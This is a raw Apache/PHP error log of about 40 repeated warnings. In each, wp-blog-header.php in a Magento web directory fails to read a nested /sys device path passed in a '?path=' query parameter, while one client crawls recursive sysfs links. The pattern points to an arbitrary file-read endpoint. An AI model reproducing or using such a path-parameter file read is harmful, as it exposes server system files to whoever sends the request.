[Thu Mar 26 10:52:31.048736 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/drivers/ac
[Thu Mar 26 10:52:34.315377 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:fc
[Thu Mar 26 10:52:36.002778 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:bc
[Thu Mar 26 10:52:44.440008 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec
[Thu Mar 26 10:52:45.459152 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:52:46.560708 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ac
[Thu Mar 26 10:52:53.346701 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 10:52:58.821646 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 10:53:01.378403 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:fe
[Thu Mar 26 10:53:05.122064 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 10:53:06.660026 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:da
[Thu Mar 26 10:53:07.141523 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 10:53:07.602583 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:de
[Thu Mar 26 10:53:09.311191 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:da
[Thu Mar 26 10:53:11.952807 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fe
[Thu Mar 26 10:53:14.553303 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ac
[Thu Mar 26 10:53:15.622726 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:53:18.300349 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ce
[Thu Mar 26 10:53:21.207323 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ae
[Thu Mar 26 10:53:27.126559 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 10:53:28.162916 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ba
[Thu Mar 26 10:53:34.149394 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 10:53:34.607132 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:fa
[Thu Mar 26 10:53:35.182711 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ac
[Thu Mar 26 10:53:38.882655 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:fe
[Thu Mar 26 10:53:40.508110 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fe
[Thu Mar 26 10:53:41.545732 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:cc
[Thu Mar 26 10:53:44.805097 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:be
[Thu Mar 26 10:53:46.334864 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 10:53:48.972726 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 10:53:51.762311 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:be
[Thu Mar 26 10:53:53.367704 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 10:53:54.371086 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:53:55.420903 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:dc
[Thu Mar 26 10:53:56.988552 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:54:02.884250 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:be
[Thu Mar 26 10:54:03.401636 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ce
[Thu Mar 26 10:54:03.947174 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ae
[Thu Mar 26 10:54:07.117631 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 10:54:11.396002 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ec
[Thu Mar 26 10:54:14.328834 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:dd/device:de
[Thu Mar 26 10:54:14.778596 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:54:17.897343 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:de
[Thu Mar 26 10:54:22.687203 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
